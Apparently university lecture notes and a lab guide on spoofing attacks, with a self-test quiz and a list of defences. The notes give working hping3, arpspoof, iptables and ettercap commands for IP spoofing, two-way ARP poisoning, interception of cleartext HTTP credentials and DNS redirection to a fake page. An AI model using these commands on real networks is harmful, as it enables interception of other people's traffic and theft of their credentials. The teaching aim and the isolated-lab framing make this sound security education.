Sem 7

Spoofing Attacks

Deck 8 and Lab 9. ARP spoofing for man-in-the-middle, IP spoofing with hping3, DNS spoofing, and the ettercap and arpspoof workflow for intercepting a victim's traffic.

Spoofing means forging an identity on the network so a victim trusts the attacker. This lecture covers IP spoofing, ARP spoofing (the basis of most man-in-the-middle attacks) and DNS spoofing. The deck is mostly screenshots of a lab run; the commands below are drawn from the slides and the student's Lab 9 report.

All of these attacks are legal only inside your own isolated lab (host-only / NAT network) between VMs you own. Running them on networks or hosts you do not own is illegal.

Lab networkSearch on YouTube

A typical setup uses three machines on one subnet:

RoleMachineExample IP
AttackerKali Linux192.168.56.108
Victim 1Ubuntu192.168.56.113
Victim 2Gateway (router)192.168.56.1

Check your own addresses first:

arp -a          # current ARP table (IP to MAC mappings)
ip a            # interface names and IP addresses
ip neigh        # neighbour / ARP table (Linux)

IP spoofingSearch on YouTube

IP spoofing sends packets with a forged source IP so the victim cannot tell who really sent them. hping3 can set the source address.

# random source IP on every packet
sudo hping3 <VICTIM_IP> -t 128 --rand-source
# a single fixed fake source IP
sudo hping3 <VICTIM_IP> -t 128 -a <FAKE_IP>

In Wireshark the packets reaching the victim show a different (or random) source IP, not Kali's real address. This hides the true sender and enables reflection attacks.

ARP spoofingSearch on YouTube

How ARP works and why it is weakSearch on YouTube

ARP maps an IP address to a MAC address on the local network. It has no authentication: a host accepts any ARP reply it receives. An attacker can therefore send forged ARP replies to poison a victim's cache, mapping the gateway's IP to the attacker's MAC.

Think of ARP as a room where anyone can shout "the gateway is at my address" and everyone believes the last shout. ARP spoofing is just shouting that lie repeatedly.

Poisoning with arpspoofSearch on YouTube

To become a full man-in-the-middle you poison both directions — the victim and the gateway — from two Kali terminals.

# Terminal 1 — tell the victim that Kali is the gateway
sudo arpspoof -i eth0 -t 192.168.56.113 192.168.56.1
# Terminal 2 — tell the gateway that Kali is the victim
sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.113

The form is arpspoof -i <iface> -t <target> <spoofed_IP> — "tell <target> that <spoofed_IP> is at my MAC." After this, check the victim's ARP table (arp -a): the gateway's IP now shows Kali's MAC.

Keeping the victim online (IP forwarding + NAT)Search on YouTube

Without forwarding, the victim loses internet and the attack becomes a denial of service instead of a stealthy MITM. Enable forwarding and NAT on Kali:

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT

What these rules do:

  • POSTROUTING ... MASQUERADE (nat table) rewrites the source IP of packets leaving eth1 to eth1's own IP. POSTROUTING rules run after the routing decision, just before packets leave.
  • FORWARD ... ACCEPT (filter table) allows packets to be routed through Kali between eth0 and eth1. The FORWARD chain handles packets routed through the system, not destined for it.

If the victim's routing or DNS breaks, fix it on Ubuntu:

ip a                                                   # find the interface name, e.g. enp0s3
sudo ip route add default via 192.168.56.1 dev enp0s3  # restore default route
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf  # restore name resolution

Capturing the intercepted trafficSearch on YouTube

Start Wireshark on Kali and watch the victim's traffic flow through:

wireshark &

Have the victim open an HTTP (non-HTTPS) site such as testphp.vulnweb.com and log in with dummy credentials. In Wireshark, filter http.request.method == POST to read the victim's form submission passing through Kali. Cleartext (HTTP) credentials are fully exposed.

MITM with ettercap (GUI)Search on YouTube

ettercap automates the two-way poisoning:

sudo sysctl -w net.ipv4.ip_forward=1
sudo ettercap -G

In the GUI: pick the interface and start unified sniffing; scan for hosts and open the host list; add the gateway to Target 1 and the victim to Target 2; then MITM > ARP poisoning with "Sniff remote connections" ticked. Captured credentials appear in the bottom pane.

DNS spoofingSearch on YouTube

DNS spoofing redirects a victim to a fake site by answering their DNS query with the attacker's IP. When the victim requests www.google.com, Kali intercepts the DNS request and replies with Kali's IP, so the victim loads a fake page hosted on Kali.

# On Kali: enable forwarding (as for ARP spoofing)
sudo sysctl -w net.ipv4.ip_forward=1

# Host the fake website on Kali
python3 -m http.server 8080

The full flow: ARP-spoof the victim so its traffic (including DNS) passes through Kali, then forge the DNS reply (for example with the ettercap dns_spoof plugin, pointing *.google.com and google.com at Kali's IP in etter.dns). Verify in the browser before and after, and in Wireshark.

  • Static ARP entries for critical hosts (gateway) so forged replies are ignored.
  • Dynamic ARP Inspection (DAI) and DHCP snooping on managed switches.
  • Port security limiting MACs per switch port.
  • Encryption everywhere — HTTPS/TLS, VPN — so intercepted traffic is unreadable.
  • DNSSEC and trusted resolvers to defend against forged DNS answers.
  • ARP-watch tools that alert when an IP-to-MAC mapping changes.

Lab 9 (Spoofing attacks). On an isolated VirtualBox network: (1) IP spoofing with hping3 --rand-source / -a, captured in Wireshark; (2) ARP spoofing with arpspoof and verifying the victim's poisoned ARP cache; (3) full bidirectional MITM with arpspoof + IP forwarding, reading the victim's HTTP POST credentials; (4) the same MITM with the ettercap GUI; (5) DNS spoofing with the ettercap dns_spoof plugin redirecting a domain to a fake page served on Kali.

Quick self-testSearch on YouTube

Why is ARP easy to spoof?

ARP has no authentication. A host accepts any ARP reply it receives and updates its cache, so forged replies are believed.

What does arpspoof -i eth0 -t 192.168.56.113 192.168.56.1 do?

It tells the victim 192.168.56.113 that the gateway 192.168.56.1 is at Kali's MAC address, poisoning the victim's ARP cache.

Why must you poison both the victim and the gateway for a MITM?

To see traffic in both directions. Poisoning only the victim captures its outbound traffic; poisoning the gateway too captures the replies, giving full interception.

What happens if you ARP-spoof without enabling IP forwarding?

The victim's traffic reaches Kali but is not relayed onward, so the victim loses connectivity. It becomes a denial of service instead of a stealthy MITM.

What does the iptables MASQUERADE rule do here?

It rewrites the source IP of packets leaving eth1 to eth1's own IP, so NAT lets the forwarded victim traffic reach the internet and return correctly.

Which hping3 flag randomises the source IP on every packet?

--rand-source. Use -a <FAKE_IP> for a single fixed fake source.

In DNS spoofing, what reply does the attacker forge?

A DNS answer that maps the requested domain (e.g. google.com) to the attacker's IP, so the victim's browser loads the attacker's fake page.

How does HTTPS defeat an ARP-spoofing MITM that reads HTTP POSTs?

TLS encrypts the traffic end to end, so even though the attacker relays the packets, the credentials inside are unreadable.

Name two switch-level defences against ARP spoofing.

Dynamic ARP Inspection (DAI) with DHCP snooping, and port security limiting MAC addresses per port. Static ARP entries also help.

  • Spoofing forges an identity: IP, ARP or DNS.
  • IP spoofing (hping3 --rand-source / -a) forges the source IP to hide the sender.
  • ARP has no authentication, so forged ARP replies poison a victim's cache; arpspoof maps the gateway IP to the attacker's MAC.
  • A full MITM poisons both victim and gateway and needs net.ipv4.ip_forward=1 plus NAT, or the victim goes offline.
  • Captured HTTP POSTs expose cleartext credentials; HTTPS defeats this.
  • ettercap automates two-way poisoning and credential capture via its GUI.
  • DNS spoofing forges DNS replies to redirect a victim to a fake page hosted on Kali (python3 -m http.server).
  • Defences: static ARP, DAI + DHCP snooping, port security, encryption everywhere, DNSSEC.

Finished the self-test?

On this page

Lab networkIP spoofingARP spoofingHow ARP works and why it is weakPoisoning with arpspoofKeeping the victim online (IP forwarding + NAT)Capturing the intercepted trafficMITM with ettercap (GUI)DNS spoofingQuick self-test